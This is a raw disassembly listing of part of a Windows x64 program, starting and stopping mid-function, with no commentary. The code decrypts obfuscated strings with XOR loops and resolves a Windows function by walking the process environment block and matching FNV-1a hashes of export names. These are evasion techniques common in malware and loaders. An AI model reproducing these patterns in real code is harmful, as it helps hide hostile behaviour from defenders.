psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9b0]
xorps xmm2, xmm1
movd dword [rbp + 0x9b0], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9b4]
xorps xmm2, xmm1
movd dword [rbp + 0x9b4], xmm2
jmp 0x140091822
lea r9, [rbp + 0x9a8]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400917e0
movdqa xmm6, xmmword [0x140167eb0]
movdqa xmm9, xmmword [0x140167ea0]
movdqa xmm7, xmmword [0x140167f50]
lea rcx, [rbp + 0x9a8]
call fcn.14004e760
mov dword [rbp + 0x278], 0x43820000
mov dword [rbp + 0x27c], 0x425c0000
lea rcx, [rbp + 0x278]
call fcn.140025c50
movdqa xmm3, xmmword [0x140168040]
movdqa xmm4, xmmword [0x140168030]
mov dword [rbp + 0x280], 0x43020000
mov dword [rbp + 0x284], 0x42480000
mov rax, qword [0x140165130]
mov qword [rbp + 0x288], rax
cmp byte [str.7CESA_], 0
je 0x1400919a9
mov r8d, r12d
cmp r15d, 2
jl 0x140091975
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
mov eax, dword [rbp - 0x50]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x288]
xorps xmm2, xmm1
movd dword [rbp + 0x288], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x28c]
xorps xmm2, xmm1
movd dword [rbp + 0x28c], xmm2
jmp 0x1400919a9
lea r9, [rbp + 0x288]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140091980
movdqa xmmword [rsp + 0x50], xmm3
movdqa xmmword [rsp + 0x60], xmm4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rsi, [0x14019a778]
mov qword [rsp + 0x28], rsi
lea r14, [0x14019a770]
mov qword [rsp + 0x20], r14
lea r9, [0x14019a768]
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x288]
call fcn.14003f280
test al, al
je 0x140091fe9
movups xmm2, xmmword [0x140165138]
movups xmmword [rbp + 0xc00], xmm2
movsd xmm0, qword [0x140165148]
movsd qword [rbp + 0xc10], xmm0
movzx eax, word [0x140165150]
mov word [rbp + 0xc18], ax
cmp byte [0x140165151], 0
je 0x140091d10
mov r8d, r12d
cmp r15d, 2
jl 0x140091cd1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xc00], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc04]
xorps xmm2, xmm1
movd dword [rbp + 0xc04], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc08]
xorps xmm2, xmm1
movd dword [rbp + 0xc08], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc0c]
xorps xmm2, xmm1
movd dword [rbp + 0xc0c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc10]
xorps xmm2, xmm1
movd dword [rbp + 0xc10], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc14]
xorps xmm2, xmm1
movd dword [rbp + 0xc14], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0xc00]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140091ce0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140091da4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140091da4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140091d9f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140091d80
cmp edx, 0x491e0a9c
je 0x140091da9
test r9d, r9d
jne 0x140091d60
mov rax, qword [rax]
jmp 0x140091d30
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xc00]
call rax
movups xmm0, xmmword [0x140165158]
movups xmmword [rbp + 0xdc0], xmm0
movups xmm1, xmmword [0x140165168]
movups xmmword [rbp + 0xdd0], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140091f39
mov r8d, r12d
cmp r15d, 2
jl 0x140091f09
mov edx, r12d
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xdc4]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140091e20
jmp 0x140091f39
lea r9, [rbp + 0xdc0]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140091f10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140091fc4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140091fc4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140091fbf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140091fa0
cmp edx, 0x491e0a9c
je 0x140091fc9
test r9d, r9d
jne 0x140091f80
mov rax, qword [rax]
jmp 0x140091f50
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xdc0]
call rax
mov rcx, r13
call fcn.140025a50
mov dword [rbp + 0x290], 0x42700000
mov dword [rbp + 0x294], 0x42c80000
lea rcx, [rbp + 0x290]
call fcn.140025c50
movzx eax, word [0x140165180]
mov word [rbp + 0x4f0], ax
movsd xmm0, qword [0x140165178]
movzx eax, byte [0x140165182]
movsd qword [rbp + 0x4e8], xmm0
mov byte [rbp + 0x4e8], 0x41
xor byte [rbp + 0x4e9], 0x31
xor byte [rbp + 0x4ea], 0x32
xor byte [rbp + 0x4eb], 0x33
xor byte [rbp + 0x4ec], 0x34
xor byte [rbp + 0x4ed], 0x35
xor byte [rbp + 0x4ee], 0x36
xor byte [rbp + 0x4ef], 0x37
xor byte [rbp + 0x4f0], 0x38
xor byte [rbp + 0x4f1], 0x39
xor al, 0x3a
mov byte [rbp + 0x4f2], al
lea rcx, [rbp + 0x4e8]
call fcn.14004e760
mov dword [rbp + 0x298], 0x42700000
mov dword [rbp + 0x29c], 0x42f00000
lea rcx, [rbp + 0x298]
call fcn.140025c50
movups xmm0, xmmword [0x140165188]
movups xmmword [rbp + 0x11c0], xmm0
movups xmm1, xmmword [0x140165198]
movups xmmword [rbp + 0x11d0], xmm1
movups xmm0, xmmword [0x1401651a8]
movups xmmword [rbp + 0x11e0], xmm0
movsd xmm0, qword [0x1401651b8]
movsd qword [rbp + 0x11f0], xmm0
mov eax, dword [0x1401651c0]
mov dword [rbp + 0x11f8], eax
mov r8d, r12d
cmp r15d, 2
jl 0x14009220f
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x11c4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140092120
cmp r8d, 0x3c
jge 0x140092250
movsxd rax, r8d
lea r9, [rbp + 0x11c0]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140092220
lea rcx, [rbp + 0x11c0]
call fcn.14004e760
mov dword [rbp + 0x2a0], 0x42700000
mov dword [rbp + 0x2a4], 0x43200000
lea rcx, [rbp + 0x2a0]
call fcn.140025c50
mov rdi, qword [rbp + 0x10]
mov rcx, rdi
call fcn.140025a50
movups xmm2, xmmword [0x1401651c8]
movups xmmword [rbp + 0x9b8], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140092499
mov r8d, r12d
cmp r15d, 2
jl 0x140092463
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x9b8], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9bc]
xorps xmm2, xmm1
movd dword [rbp + 0x9bc], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c0]
xorps xmm2, xmm1
movd dword [rbp + 0x9c0], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c4]
xorps xmm2, xmm1
movd dword [rbp + 0x9c4], xmm2
jmp 0x140092499
lea r9, [rbp + 0x9b8]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140092470
lea rcx, [rbp + 0x9b8]
call fcn.14004e760
mov rcx, r13
call fcn.140025a50
mov dword [rbp + 0x2a8], 0x42700000
mov dword [rbp + 0x2ac], 0x43480000
lea rcx, [rbp + 0x2a8]
call fcn.140025c50
xorps xmm0, xmm0
movups xmmword [rbp + 0x9c8], xmm0
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbp + 0x9d8], xmm0
mov dword [rbp + 0x2b0], 0x3f800000
mov dword [rbp + 0x2b4], 0x3f800000
mov qword [rbp + 0x2b8], 0
mov dword [rbp + 0x2c0], 0x41c00000
mov dword [rbp + 0x2c4], 0x41c00000
lea rax, [rbp + 0x9c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x9d8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2b0]
lea r8, [rbp + 0x2b8]
lea rdx, [rbp + 0x2c0]
mov rcx, qword [rbp + 0x20]
call fcn.140046650
movaps xmm1, xmm12
xorps xmm0, xmm0
call fcn.140025330
movsd xmm0, qword [0x1401651d8]
movsd qword [rbp + 0x5f8], xmm0
mov ecx, dword [0x1401651e0]
mov dword [rbp + 0x600], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x604], al
mov r8d, r12d
cmp r15d, 2
jl 0x1400926ce
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [rbp - 0x50]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1401651d8]
xorps xmm1, xmm0
movd dword [rbp + 0x5f8], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5fc]
xorps xmm2, xmm1
movd dword [rbp + 0x5fc], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x600], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x5f8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400926e0
lea rcx, [rbp + 0x5f8]
call fcn.14004e760
mov dword [rbp + 0x2c8], 0x43200000
mov dword [rbp + 0x2cc], 0x43430000
lea rcx, [rbp + 0x2c8]
call fcn.140025c50
movdqa xmm3, xmmword [0x140168040]
movdqa xmm4, xmmword [0x140168030]
mov dword [rbp + 0x2d0], 0x43020000
mov dword [rbp + 0x2d4], 0x41f00000
movsd xmm0, qword [0x1401651e8]
movsd qword [rbp + 0x608], xmm0
mov ecx, dword [0x1401651f0]
mov dword [rbp + 0x610], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x614], al
mov r8d, r12d
cmp r15d, 2
jl 0x1400928d7
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [rbp - 0x50]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1401651e8]
xorps xmm1, xmm0
movd dword [rbp + 0x608], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x60c]
xorps xmm2, xmm1
movd dword [rbp + 0x60c], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x610], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x608]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400928f0
movdqa xmmword [rsp + 0x50], xmm3
movdqa xmmword [rsp + 0x60], xmm4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r14
lea r9, [0x14019a768]
xor r8d, r8d
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x608]
call fcn.14003f280
test al, al
je 0x140092f59
movups xmm2, xmmword [0x1401651f8]
movups xmmword [rbp + 0xc20], xmm2
movsd xmm0, qword [0x140165208]
movsd qword [rbp + 0xc30], xmm0
movzx eax, word [0x140165210]
mov word [rbp + 0xc38], ax
cmp byte [0x140165211], 0
je 0x140092c80
mov r8d, r12d
cmp r15d, 2
jl 0x140092c3a
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xc20], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc24]
xorps xmm2, xmm1
movd dword [rbp + 0xc24], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc28]
xorps xmm2, xmm1
movd dword [rbp + 0xc28], xmm2
movdqa xmm2, xmmword [0x140167ec0]
